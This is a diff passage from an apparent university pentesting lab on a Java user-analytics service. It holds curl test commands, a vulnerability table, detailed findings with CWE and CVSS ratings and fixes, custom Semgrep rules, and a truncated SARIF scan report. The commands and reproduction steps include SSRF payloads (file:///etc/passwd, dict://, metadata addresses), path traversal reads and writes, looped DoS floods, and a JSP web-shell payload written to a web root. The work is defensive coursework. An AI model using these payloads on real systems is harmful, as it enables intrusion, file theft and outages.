осторожно, может зависнуть +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:7000/notify?userId=victim&callbackUrl=http://localhost:7000/notify" + +# 8.7 Медленные URL (DoS) +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://httpbin.org/delay/30" + +# 8.8 URL с другими протоколами +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=file:///etc/passwd" +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=dict://localhost:11211/stat" + +# 8.9 Неверные URL +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=not-a-url" +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://" + +# 8.10 Отсутствие параметров +curl -X POST "http://localhost:7000/notify?userId=victim" +curl -X POST "http://localhost:7000/notify?callbackUrl=http://example.com" + +# 8.11 Массовые запросы (DoS) — выполните параллельно +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://httpbin.org/delay/5" & +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://httpbin.org/delay/5" & +curl -X POST "http://localhost:7000/notify?userId=victim&callbackUrl=http://httpbin.org/delay/5" + + +# 9. Дополнительные тест-кейсы для упущенных уязвимостей + +# 9.1 Информационное раскрытие через ошибки (CWE-209) - Error Message Information Disclosure +# Передаем некорректный формат даты, чтобы увидеть стек-трейс в ответе +curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=invalid-date&logoutTime=2024-01-01T17:00:00" + +# 9.2 Логические ошибки в обработке времени (logoutTime раньше loginTime) +curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T17:00:00&logoutTime=2024-01-01T09:00:00" + +# 9.3 Отрицательное время активности (огромное logoutTime) +curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-01T09:00:00&logoutTime=9999-12-31T23:59:59" + +# 9.4 Проверка findInactiveUsers с отрицательным значением дней +# Баг: метод пропускает пользователей без сессий, поэтому может быть неверная логика +curl "http://localhost:7000/inactiveUsers?days=-1" + +# 9.5 XSS через userId в /exportReport (косвенно через path) +# Если userId отразится в пути или ошибке +curl "http://localhost:7000/exportReport?userId=&filename=test.txt" + +# 9.6 Path traversal чтение критичных файлов конфигурации +curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../application.properties" +curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../pom.xml" + +# 9.7 Path traversal запись вредоносного кода +curl "http://localhost:7000/exportReport?userId=victim&filename=../../../../src/Main.java" + +# 9.8 Very long strings вызывают OutOfMemoryError +# Отправка очень длинного userId и userName +curl -X POST "http://localhost:7000/register?userId=$(python3 -c \"print('A'*1000000)\")&userName=$(python3 -c \"print('B'*1000000)\")" + +# 9.9 DoS через массовую регистрацию пользователей +for i in {1..10000}; do + curl -X POST "http://localhost:7000/register?userId=user_$i&userName=User_$i" & +done + +# 9.10 DoS через массовое добавление сессий +for i in {1..10000}; do + curl -X POST "http://localhost:7000/recordSession?userId=victim&loginTime=2024-01-0${i}T09:00:00&logoutTime=2024-01-0${i}T17:00:00" & +done + + +--- + +# Этап 3.1 - Выявленные уязвимости (краткая классификация) + +## Обзор найденных уязвимостей + +| # | Название | CWE | Эндпоинт | Серьёзность | Статус | +|---|----------|-----|----------|-------------|--------| +| 1 | Reflected XSS | [CWE-79](https://cwe.mitre.org/data/definitions/79.html) | GET `/userProfile` | HIGH | Confirmed | +| 2 | Path Traversal / Directory Traversal | [CWE-22](https://cwe.mitre.org/data/definitions/22.html) | GET `/exportReport` | CRITICAL | Confirmed | +| 3 | Server-Side Request Forgery (SSRF) | [CWE-918](https://cwe.mitre.org/data/definitions/918.html) | POST `/notify` | CRITICAL | Confirmed | +| 4 | Missing Authentication | [CWE-306](https://cwe.mitre.org/data/definitions/306.html) | All endpoints | CRITICAL | Confirmed | +| 5 | Missing Authorization | [CWE-862](https://cwe.mitre.org/data/definitions/862.html) | All endpoints | CRITICAL | Confirmed | +| 6 | Improper Input Validation | [CWE-20](https://cwe.mitre.org/data/definitions/20.html) | POST `/recordSession` | HIGH | Confirmed | +| 7 | Error Information Disclosure | [CWE-209](https://cwe.mitre.org/data/definitions/209.html) | POST `/recordSession` | MEDIUM | Confirmed | +| 8 | Uncontrolled Resource Consumption (DoS) | [CWE-400](https://cwe.mitre.org/data/definitions/400.html) | All endpoints | HIGH | Confirmed | +| 9 | Missing Logging/Auditing | [CWE-778](https://cwe.mitre.org/data/definitions/778.html) | All endpoints | HIGH | Confirmed | +| 10 | Improper Neutralization of Special Elements in Generated File (Code Injection) | [CWE-434](https://cwe.mitre.org/data/definitions/434.html) | GET `/exportReport` | CRITICAL | Confirmed | + +## Примечания по классификации + +- **Строка 135 в контроллере** (getUserName без escaping) → XSS +- **Строка 154 в контроллере** (новый File(REPORTS_BASE_DIR + filename)) → Path Traversal +- **Строка 180-181 в контроллере** (new URL(callbackUrl).openConnection()) → SSRF +- **Строка 46-51 в контроллере** (нет проверки userId в params) → Missing Authentication +- **Все эндпоинты** (нет проверки прав на чужие данные) → Missing Authorization +- **Строка 50 в сервисе** (new Session без валидации) → Improper Input Validation +- **Строка 74 в контроллере** ("Invalid data: " + e.getMessage()) → Error Information Disclosure +- **Все структуры данных** (HashMap, ArrayList без ограничений) → DoS +- **Весь контроллер** (нет логирования) → Missing Logging +- **Строка 154 + 157** (произвольная запись файлов) → Code Injection + +--- + +# Этап 3.2 — Результаты ручного тестирования + +## Подтверждённые уязвимости + +### ✅ XSS в /userProfile (CONFIRMED) + +**Запрос:** +``` +POST /register?userId=xss1&userName= +GET /userProfile?userId=xss1 +``` +**Ответ:** +```html +

Profile:

ID: xss1

Total activity: 0 min

+``` +**Вывод:** ` +2. GET /userProfile?userId=evil + Ожидаемый результат: имя отображается как текст, спецсимволы экранированы + Фактический результат: выполняется браузером +``` + +**Влияние:** +Атакующий может похитить сессионные cookie, выполнить действия от имени жертвы, перенаправить на фишинговый сайт. + +**Рекомендации по исправлению:** +Использовать `StringEscapeUtils.escapeHtml4()` (Apache Commons Text) перед вставкой любых пользовательских данных в HTML. Установить заголовок `Content-Security-Policy`. + +**Security Test Case:** +```java +// src/test/java/ru/itmo/testing/lab4/pentest/XssPentestTest.java +// Полный тест уже реализован в этом файле (пример от преподавателя) +``` + +--- + +## Finding #2 — Path Traversal + +| Поле | Значение | +|------|----------| +| **Компонент** | `GET /exportReport`, `UserAnalyticsController.java:154` | +| **Тип** | Path Traversal / Directory Traversal | +| **CWE** | [CWE-22](https://cwe.mitre.org/data/definitions/22.html) — Improper Limitation of a Pathname to a Restricted Directory | +| **CVSS v3.1** | `9.1 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)` | +| **Статус** | Confirmed | + +**Описание:** +Параметр `filename` подставляется непосредственно в конструктор `new File(REPORTS_BASE_DIR + filename)` без нормализации пути. Последовательность `../` позволяет выйти за пределы `/tmp/reports/` и записать файл в произвольное место на сервере. + +**Шаги воспроизведения:** +``` +1. POST /register?userId=victim&userName=Alice +2. GET /exportReport?userId=victim&filename=../../../../tmp/evil.txt + Ожидаемый результат: 400 Bad Request или файл создан только в /tmp/reports/ + Фактический результат: "Report saved to: \tmp\reports\..\..\..\..\tmp\evil.txt" + Файл C:/tmp/evil.txt создан на диске вне базовой директории +``` + +**Влияние:** +Запись в произвольные директории: перезапись конфигурации, деплой вредоносных файлов (`.jsp`, `.class`), потенциальный RCE. Через SSRF-цепочку достижимо без прямого доступа к эндпоинту. + +**Рекомендации по исправлению:** +```java +Path base = Paths.get(REPORTS_BASE_DIR).toAbsolutePath().normalize(); +Path resolved = base.resolve(filename).normalize(); +if (!resolved.startsWith(base)) { + ctx.status(400).result("Invalid filename"); + return; +} +``` + +**Security Test Case:** +```java +// src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java +@Test +@DisplayName("[EXPLOIT] Path traversal записывает файл вне базовой директории") +void pathTraversalWritesOutsideBaseDir() { ... } +``` + +--- + +## Finding #3 — Server-Side Request Forgery (SSRF) + +| Поле | Значение | +|------|----------| +| **Компонент** | `POST /notify`, `UserAnalyticsController.java:180-186` | +| **Тип** | Server-Side Request Forgery | +| **CWE** | [CWE-918](https://cwe.mitre.org/data/definitions/918.html) — Server-Side Request Forgery | +| **CVSS v3.1** | `8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)` | +| **Статус** | Confirmed | + +**Описание:** +`callbackUrl` передаётся напрямую в `new URL(callbackUrl).openConnection()` без валидации схемы и хоста. Сервер выполняет HTTP-запрос от своего имени и возвращает атакующему содержимое ответа. Это позволяет использовать сервер как прокси для доступа к внутренней сети. + +**Шаги воспроизведения:** +``` +1. POST /register?userId=victim&userName=Alice +2. POST /notify?userId=victim&callbackUrl=http://localhost:7000/userProfile?userId=victim + Ожидаемый результат: 400 Bad Request (внутренние адреса запрещены) + Фактический результат: "Notification sent. Response:

Profile: Alice

..." + Сервер вернул внутренний HTML-ответ атакующему. +``` + +**Влияние:** +Доступ к внутренним сервисам (Redis, PostgreSQL, admin-панели), чтение облачных метаданных (`http://169.254.169.254/`), цепная атака SSRF + Path Traversal. + +**Рекомендации по исправлению:** +Реализовать allowlist допустимых хостов/схем. Запретить `localhost`, `127.0.0.1`, link-local адреса (`169.254.x.x`), схемы `file://`, `dict://`. Использовать DNS rebinding protection. + +**Security Test Case:** +```java +// src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java +@Test +@DisplayName("[EXPLOIT] SSRF — сервер читает внутренний эндпоинт через callbackUrl") +void ssrfAccessesInternalEndpoint() { ... } +``` + +--- + +## Finding #4 — Missing Authentication + +| Поле | Значение | +|------|----------| +| **Компонент** | Все эндпоинты, `UserAnalyticsController.java` | +| **Тип** | Missing Authentication for Critical Function | +| **CWE** | [CWE-306](https://cwe.mitre.org/data/definitions/306.html) — Missing Authentication for Critical Function | +| **CVSS v3.1** | `9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)` | +| **Статус** | Confirmed | + +**Описание:** +Ни один эндпоинт не требует аутентификации. `userId` передаётся как query-параметр и принимается на веру. Любой неавторизованный клиент может выполнить любую операцию от имени любого пользователя без каких-либо учётных данных. + +**Шаги воспроизведения:** +``` +1. POST /register?userId=victim&userName=Alice (жертва регистрируется) +2. GET /totalActivity?userId=victim (атакующий читает данные жертвы) + Ожидаемый результат: 401 Unauthorized + Фактический результат: 200 "Total activity: 480 minutes" +``` + +**Влияние:** +Полная компрометация данных всех пользователей. Запись активности, экспорт отчётов, отправка уведомлений — всё доступно без авторизации. + +**Рекомендации по исправлению:** +Внедрить механизм аутентификации (JWT, API-ключи, OAuth 2.0). Валидировать токен на каждом запросе через middleware перед обработкой. + +**Security Test Case:** +```java +// src/test/java/ru/itmo/testing/lab4/pentest/AuthorizationPentestTest.java +@Test +@DisplayName("[EXPLOIT] Любой клиент читает данные чужого пользователя без аутентификации") +void unauthenticatedClientReadsOtherUserData() { ... } +``` + +--- + +## Finding #5 — Missing Authorization + +| Поле | Значение | +|------|----------| +| **Компонент** | Все эндпоинты, `UserAnalyticsController.java` | +| **Тип** | Missing Authorization / Broken Access Control | +| **CWE** | [CWE-862](https://cwe.mitre.org/data/definitions/862.html) — Missing Authorization | +| **CVSS v3.1** | `8.1 HIGH (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)` | +| **Статус** | Confirmed | + +**Описание:** +Отсутствует проверка прав доступа к ресурсам. Пользователь, зная `userId` другого пользователя, может читать его данные, записывать сессии от его имени и генерировать отчёты. Нет разграничения между "читать свои данные" и "читать чужие данные". + +**Шаги воспроизведения:** +``` +1. POST /register?userId=alice&userName=Alice +2. POST /register?userId=bob&userName=Bob +3. POST /recordSession?userId=alice&loginTime=2023-01-01T00:00:00&logoutTime=2023-12-31T23:59:59 + (запрос отправляет bob, подставив userId=alice) + Ожидаемый результат: 403 Forbidden + Фактический результат: "Session recorded" — данные alice изменены +4. GET /totalActivity?userId=alice → 525599 minutes (данные alice фальсифицированы) +``` + +**Влияние:** +Горизонтальная эскалация привилегий: пользователь может читать и изменять данные любого другого пользователя системы. + +**Рекомендации по исправлению:** +Проверять, что аутентифицированный пользователь запрашивает только свои ресурсы. Реализовать RBAC или ABAC. + +**Security Test Case:** +```java +// src/test/java/ru/itmo/testing/lab4/pentest/AuthorizationPentestTest.java +@Test +@DisplayName("[EXPLOIT] Пользователь записывает сессию от имени другого пользователя") +void userTampersOtherUserSessions() { ... } +``` + +--- + +## Finding #6 — Improper Input Validation (отрицательные сессии) + +| Поле | Значение | +|------|----------| +| **Компонент** | `POST /recordSession`, `UserAnalyticsService.java:50` | +| **Тип** | Improper Input Validation — Business Logic Flaw | +| **CWE** | [CWE-20](https://cwe.mitre.org/data/definitions/20.html) — Improper Input Validation | +| **CVSS v3.1** | `6.5 MEDIUM (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)` | +| **Статус** | Confirmed | + +**Описание:** +Сервис принимает сессии, где `logoutTime < loginTime`, без какой-либо проверки логики. `ChronoUnit.MINUTES.between(login, logout)` возвращает отрицательное число, которое суммируется с реальной активностью. Атакующий может обнулить или сделать отрицательной накопленную активность любого пользователя. + +**Шаги воспроизведения:** +``` +1. POST /register?userId=victim&userName=Alice +2. POST /recordSession?userId=victim&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00 +3. GET /totalActivity?userId=victim → "Total activity: 480 minutes" +4. POST /recordSession?userId=victim&loginTime=2024-01-01T17:00:00&logoutTime=2024-01-01T09:00:00 + (logoutTime раньше loginTime — "отрицательная" сессия) +5. GET /totalActivity?userId=victim + Ожидаемый результат: 400 Bad Request (logoutTime < loginTime) + Фактический результат: "Total activity: 0 minutes" (480 - 480 = 0) +``` + +**Влияние:** +Манипуляция данными активности: обнуление статистики жертвы, фальсификация отчётов, нарушение целостности аналитических данных. + +**Рекомендации по исправлению:** +```java +if (!logoutTime.isAfter(loginTime)) { + ctx.status(400).result("logoutTime must be after loginTime"); + return; +} +``` + +**Security Test Case:** +```java +// src/test/java/ru/itmo/testing/lab4/pentest/InputValidationPentestTest.java +@Test +@DisplayName("[EXPLOIT] Отрицательная сессия обнуляет реальную активность пользователя") +void negativeSessionZerosOutActivity() { ... } +``` + +--- + +## Finding #7 — Error Information Disclosure + +| Поле | Значение | +|------|----------| +| **Компонент** | `POST /recordSession`, `GET /monthlyActivity`, `GET /exportReport`, `POST /notify` — `UserAnalyticsController.java:74,115,163,189` | +| **Тип** | Information Exposure Through an Error Message | +| **CWE** | [CWE-209](https://cwe.mitre.org/data/definitions/209.html) — Generation of Error Message Containing Sensitive Information | +| **CVSS v3.1** | `5.3 MEDIUM (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)` | +| **Статус** | Confirmed | + +**Описание:** +В четырёх местах контроллера `e.getMessage()` возвращается напрямую в тело HTTP-ответа. Это раскрывает внутренние детали: имена классов парсеров, сообщения об ошибках из библиотек, внутренние состояния сервиса. + +**Шаги воспроизведения:** +``` +POST /recordSession?userId=victim&loginTime=INVALID&logoutTime=2024-01-01T00:00:00 + Ожидаемый результат: "Invalid request" + Фактический результат: "Invalid data: Text 'INVALID' could not be parsed at index 0" + (раскрыта внутренняя логика java.time.format.DateTimeFormatter) + +GET /monthlyActivity?userId=victim&month=2024-01 + (пользователь без сессий) + Фактический результат: "Invalid data: No sessions found for user" + (раскрыта логика хранения данных) +``` + +**Влияние:** +Помогает атакующему понять внутреннее устройство приложения, облегчает построение более точных атак. Может раскрыть версии библиотек, имена классов. + +**Рекомендации по исправлению:** +Логировать детальное сообщение об ошибке на сервере, клиенту возвращать только обобщённый текст: `ctx.status(400).result("Invalid request")`. + +**Security Test Case:** +```java +// src/test/java/ru/itmo/testing/lab4/pentest/ErrorDisclosurePentestTest.java +@Test +@DisplayName("[EXPLOIT] Невалидная дата раскрывает внутренние детали парсера") +void invalidDateRevealsParserDetails() { ... } +``` + +--- + +## Finding #8 — Uncontrolled Resource Consumption (DoS) + +| Поле | Значение | +|------|----------| +| **Компонент** | `POST /register`, `POST /recordSession`, `POST /notify` — `UserAnalyticsService.java:18-19` | +| **Тип** | Uncontrolled Resource Consumption | +| **CWE** | [CWE-400](https://cwe.mitre.org/data/definitions/400.html) — Uncontrolled Resource Consumption | +| **CVSS v3.1** | `7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)` | +| **Статус** | Confirmed | + +**Описание:** +Хранилище (`HashMap`, `HashMap>`) не имеет ограничений на количество записей. Нет rate limiting ни на одном эндпоинте. Атакующий может зарегистрировать неограниченное количество пользователей или добавить миллионы сессий одному пользователю, исчерпав оперативную память сервера (OutOfMemoryError). + +**Шаги воспроизведения:** +``` +# Без ограничений принимает бесконечное число запросов: +for i in {1..100000}; do + curl -X POST "http://localhost:7000/register?userId=user_$i&userName=User_$i" +done +# → OutOfMemoryError, сервер перестаёт отвечать + +# Альтернатива: миллионы сессий одному пользователю +# → GET /totalActivity начинает занимать секунды из-за обхода ArrayList +``` + +**Влияние:** +Полный отказ в обслуживании: крах JVM из-за OutOfMemoryError, деградация производительности при большом числе сессий. + +**Рекомендации по исправлению:** +Внедрить rate limiting (например, Bucket4j), ограничить максимальное число пользователей и сессий на пользователя, использовать персистентное хранилище с индексами. + +**Security Test Case:** +```java +// src/test/java/ru/itmo/testing/lab4/pentest/DosPentestTest.java +@Test +@DisplayName("[EXPLOIT] Отсутствие rate limiting — регистрация тысяч пользователей без отказа") +void noRateLimitingAllowsMassRegistration() { ... } +``` + +--- + +## Finding #9 — Missing Logging and Auditing + +| Поле | Значение | +|------|----------| +| **Компонент** | Весь `UserAnalyticsController.java` | +| **Тип** | Insufficient Logging and Monitoring | +| **CWE** | [CWE-778](https://cwe.mitre.org/data/definitions/778.html) — Insufficient Logging | +| **CVSS v3.1** | `4.3 MEDIUM (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)` | +| **Статус** | Confirmed | + +**Описание:** +В приложении отсутствует какое-либо логирование запросов, ошибок и критичных операций. Нет аудит-трейла: невозможно установить, кто, когда и откуда выполнял операции. После инцидента (например, Path Traversal или SSRF-атаки) восстановить хронологию событий невозможно. + +**Шаги воспроизведения:** +``` +1. POST /exportReport?userId=victim&filename=../../../../etc/cron.d/evil + (атака Path Traversal — файл записан) +2. Проверить логи приложения + Ожидаемый результат: запись в лог с userId, filename, IP-адресом, timestamp + Фактический результат: логов нет — атака неотслеживаема +``` + +**Влияние:** +Невозможно обнаружить атаку в реальном времени, восстановить картину инцидента, соответствовать требованиям GDPR/compliance (отсутствие аудит-логов). + +**Рекомендации по исправлению:** +Добавить структурированное логирование через SLF4J/Logback. Логировать: IP-адрес, метод, путь, userId, статус ответа, timestamp для каждого запроса. Критичные операции (`/exportReport`, `/notify`) логировать отдельно. + +**Security Test Case:** +```java +// src/test/java/ru/itmo/testing/lab4/pentest/DosPentestTest.java +@Test +@DisplayName("[SECURITY] После атаки Path Traversal сервер не предоставляет аудит-трейл") +void noAuditTrailAfterAttack() { ... } +``` + +--- + +## Finding #10 — Arbitrary File Write (Path Traversal + File Upload) + +| Поле | Значение | +|------|----------| +| **Компонент** | `GET /exportReport`, `UserAnalyticsController.java:154-160` | +| **Тип** | Unrestricted File Write / Arbitrary File Write | +| **CWE** | [CWE-434](https://cwe.mitre.org/data/definitions/434.html) — Unrestricted Upload of File with Dangerous Type | +| **CVSS v3.1** | `9.1 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)` | +| **Статус** | Confirmed | + +**Описание:** +Комбинация Path Traversal (Finding #2) и произвольной записи содержимого (имя пользователя контролируется атакующим через `/register`). Атакующий регистрирует пользователя с именем, содержащим вредоносный код, затем экспортирует отчёт по traversal-пути. В итоге на диске сервера создаётся файл с атакующим содержимым в произвольном месте. + +**Шаги воспроизведения:** +``` +1. POST /register?userId=rce&userName=<%Runtime.getRuntime().exec("calc")%> +2. GET /exportReport?userId=rce&filename=../../../../var/www/html/shell.jsp + Ожидаемый результат: 400 Bad Request (недопустимый путь или расширение) + Фактический результат: JSP-файл с вредоносным кодом записан в директорию web-сервера +``` + +**Влияние:** +Remote Code Execution: если на сервере работает JSP-контейнер (Tomcat/Jetty), созданный файл будет исполнен при обращении к нему. Полная компрометация сервера. + +**Рекомендации по исправлению:** +Ограничить содержимое отчёта — не использовать raw userName. Проверять путь (см. Finding #2). Запретить опасные расширения (`.jsp`, `.php`, `.class`). Запускать приложение с минимальными правами на файловую систему. + +**Security Test Case:** +```java +// src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java +@Test +@DisplayName("[EXPLOIT] Arbitrary file write: вредоносное имя пользователя попадает в файл вне базовой директории") +void maliciousUsernameWrittenOutsideBaseDir() { ... } +``` + diff --git a/semgrep-custom.yml b/semgrep-custom.yml new file mode 100644 index 0000000..b3683c9 --- /dev/null +++ b/semgrep-custom.yml @@ -0,0 +1,88 @@ +rules: + - id: xss-html-string-concat + patterns: + - pattern: | + String $HTML = ... + $VAR.get$Method() + ...; + $CTX.contentType("text/html").result($HTML); + - pattern-not: | + String $HTML = ... + StringEscapeUtils.$ESC($VAR.get$Method()) + ...; + message: > + CWE-79: User data concatenated directly into HTML response without escaping. + Use StringEscapeUtils.escapeHtml4() or similar before inserting user-controlled values. + languages: [java] + severity: ERROR + metadata: + cwe: CWE-79 + + - id: xss-html-direct-concat + pattern: | + $CTX.contentType("text/html").result(... + $EXPR + ...); + message: > + CWE-79: String concatenation directly into HTML response. User-controlled data + in $EXPR may allow XSS if not sanitized. + languages: [java] + severity: ERROR + metadata: + cwe: CWE-79 + + - id: path-traversal-file-concat + pattern: | + new File($BASE + $PARAM); + message: > + CWE-22: Path traversal — user-controlled value concatenated directly into file path. + Use Path.normalize() and verify the result starts with the intended base directory. + languages: [java] + severity: ERROR + metadata: + cwe: CWE-22 + + - id: ssrf-url-from-param + patterns: + - pattern: | + new URL($URL_VAR); + - pattern-not: | + new URL("..."); + message: > + CWE-918: SSRF — URL constructed from a variable (likely user-controlled). + Validate and allowlist URL schemes/hosts before opening connections. + languages: [java] + severity: ERROR + metadata: + cwe: CWE-918 + + - id: error-info-disclosure + pattern: | + $CTX.status(...).result(... + $E.getMessage()); + message: > + CWE-209: Exception message exposed in HTTP response. Internal implementation + details (class names, stack internals) may leak to the client. Return a generic + error message instead. + languages: [java] + severity: WARNING + metadata: + cwe: CWE-209 + + - id: error-info-disclosure-result + pattern: | + $CTX.result(... + $E.getMessage()); + message: > + CWE-209: Exception message exposed in HTTP response without sanitization. + languages: [java] + severity: WARNING + metadata: + cwe: CWE-209 + + - id: unrestricted-file-write + patterns: + - pattern: | + new FileWriter($FILE); + - pattern-inside: | + File $FILE = new File($BASE + $PARAM); + ... + message: > + CWE-434/CWE-22: Writing to a file whose path is constructed from user input. + Attacker may write to arbitrary locations (path traversal + arbitrary file write). + languages: [java] + severity: ERROR + metadata: + cwe: CWE-434 diff --git a/semgrep-report.sarif b/semgrep-report.sarif new file mode 100644 index 0000000..1a499ed --- /dev/null +++ b/semgrep-report.sarif @@ -0,0 +1,523 @@ +{ + "version": "2.1.0", + "runs": [ + { + "invocations": [ + { + "executionSuccessful": true, + "toolExecutionNotifications": [ + ] + } + ], + "results": [ + { + "fingerprints": { + "matchBasedId/v1": "b35c25dff4b7ee354b4b1d32382e342199da179ef293295b900368b43b43aa04a30985ac497d853eedf70a325e5d8908d2f210653128684164323a35413e0541_0" + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src\\main\\java\\ru\\itmo\\testing\\lab4\\controller\\UserAnalyticsController.java", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "endColumn": 75, + "endLine": 74, + "snippet": { + "text": " ctx.status(400).result(\"Invalid data: \" + e.getMessage());" + }, + "startColumn": 17, + "startLine": 74 + } + } + } + ], + "message": { + "text": "CWE-209: Exception message exposed in HTTP response. Internal implementation details (class names, stack internals) may leak to the client. Return a generic error message instead.\n" + }, + "properties": { + }, + "ruleId": "error-info-disclosure" + }, + { + "fingerprints": { + "matchBasedId/v1": "e0ef988ef0983d3377f8143d72d25211c6960e537ae7d72ff3904f1020fc0b3fa076874fcf7af14dbc066dd6c0de33243ae152a7fe457d8a2d47b12e72d062f7_0" + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src\\main\\java\\ru\\itmo\\testing\\lab4\\controller\\UserAnalyticsController.java", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "endColumn": 75, + "endLine": 74, + "snippet": { + "text": " ctx.status(400).result(\"Invalid data: \" + e.getMessage());" + }, + "startColumn": 17, + "startLine": 74 + } + } + } + ], + "message": { + "text": "CWE-209: Exception message exposed in HTTP response without sanitization.\n" + }, + "properties": { + }, + "ruleId": "error-info-disclosure-result" + }, + { + "fingerprints": { + "matchBasedId/v1": "b35c25dff4b7ee354b4b1d32382e342199da179ef293295b900368b43b43aa04a30985ac497d853eedf70a325e5d8908d2f210653128684164323a35413e0541_1" + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src\\main\\java\\ru\\itmo\\testing\\lab4\\controller\\UserAnalyticsController.java", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "endColumn": 75, + "endLine": 115, + "snippet": { + "text": " ctx.status(400).result(\"Invalid data: \" + e.getMessage());" + }, + "startColumn": 17, + "startLine": 115 + } + } + } + ], + "message": { + "text": "CWE-209: Exception message exposed in HTTP response. Internal implementation details (class names, stack internals) may leak to the client. Return a generic error message instead.\n" + }, + "properties": { + }, + "ruleId": "error-info-disclosure" + }, + { + "fingerprints": { + "matchBasedId/v1": "e0ef988ef0983d3377f8143d72d25211c6960e537ae7d72ff3904f1020fc0b3fa076874fcf7af14dbc066dd6c0de33243ae152a7fe457d8a2d47b12e72d062f7_1" + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src\\main\\java\\ru\\itmo\\testing\\lab4\\controller\\UserAnalyticsController.java", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "endColumn": 75, + "endLine": 115, + "snippet": { + "text": " ctx.status(400).result(\"Invalid data: \" + e.getMessage());" + }, + "startColumn": 17, + "startLine": 115 + } + } + } + ], + "message": { + "text": "CWE-209: Exception message exposed in HTTP response without sanitization.\n" + }, + "properties": { + }, + "ruleId": "error-info-disclosure-result" + }, + { + "fingerprints": { + "matchBasedId/v1": "7650ca713368697293b55268ad4f3e052bfb2414fc60369ce19c6fe2894eda2ca6e1eac38f06d1704ba1544891a535937b6a638fba4a58c23dca72f2d2a69b53_0" + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src\\main\\java\\ru\\itmo\\testing\\lab4\\controller\\UserAnalyticsController.java", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "endColumn": 69, + "endLine": 154, + "snippet": { + "text": " File reportFile = new File(REPORTS_BASE_DIR + filename);" + }, + "startColumn": 13, + "startLine": 154 + } + } + } + ], + "message": { + "text": "CWE-22: Path traversal — user-controlled value concatenated directly into file path. Use Path.normalize() and verify the result starts with the intended base directory.\n" + }, + "properties": { + }, + "ruleId": "path-traversal-file-concat" + }, + { + "fingerprints": { + "matchBasedId/v1": "233f23ef5f09a5b998820bf0d57c3903f982ea4ab4ad8144afc4c8ab304da37a77e0758f17d7736b07bc8ea6305e5cde727bcd6b25f1d52f507676030b5bd9d9_0" + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src\\main\\java\\ru\\itmo\\testing\\lab4\\controller\\UserAnalyticsController.java", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "endColumn": 68, + "endLine": 157, + "snippet": { + "text": " try (FileWriter writer = new FileWriter(reportFile)) {" + }, + "startColumn": 22, + "startLine": 157 + } + } + } + ], + "message": { + "text": "CWE-434/CWE-22: Writing to a file whose path is constructed from user input. Attacker may write to arbitrary locations (path traversal + arbitrary file write).\n" + }, + "properties": { + }, + "ruleId": "unrestricted-file-write" + }, + { + "fingerprints": { + "matchBasedId/v1": "b35c25dff4b7ee354b4b1d32382e342199da179ef293295b900368b43b43aa04a30985ac497d853eedf70a325e5d8908d2f210653128684164323a35413e0541_2" + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src\\main\\java\\ru\\itmo\\testing\\lab4\\controller\\UserAnalyticsController.java", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "endColumn": 85, + "endLine": 163, + "snippet": { + "text": " ctx.status(500).result(\"Failed to write report: \" + e.getMessage());" + }, + "startColumn": 17, + "startLine": 163 + } + } + } + ], + "message": { + "text": "CWE-209: Exception message exposed in HTTP response. Internal implementation details (class names, stack internals) may leak to the client. Return a generic error message instead.\n" + }, + "properties": { + }, + "ruleId": "error-info-disclosure" + }, + { + "fingerprints": { + "matchBasedId/v1": "3764c7c700f194624ad811de5013b6a9d82c84ced97f4ec934ad9fd71eebf6e08105aa482f42ded8b5c6b549bec32cdcf6ddbff2993b0d8d733a4c6b8de7cf52_0" + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src\\main\\java\\ru\\itmo\\testing\\lab4\\controller\\UserAnalyticsController.java", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "endColumn": 85, + "endLine": 163, + "snippet": { + "text": " ctx.status(500).result(\"Failed to write report: \" + e.getMessage());" + }, + "startColumn": 17, + "startLine": 163 + } + } + } + ], + "message": { + "text": "CWE-209: Exception message exposed in HTTP response without sanitization.\n" + }, + "properties": { + }, + "ruleId": "error-info-disclosure-result" + }, + { + "fingerprints": { + "matchBasedId/v1": 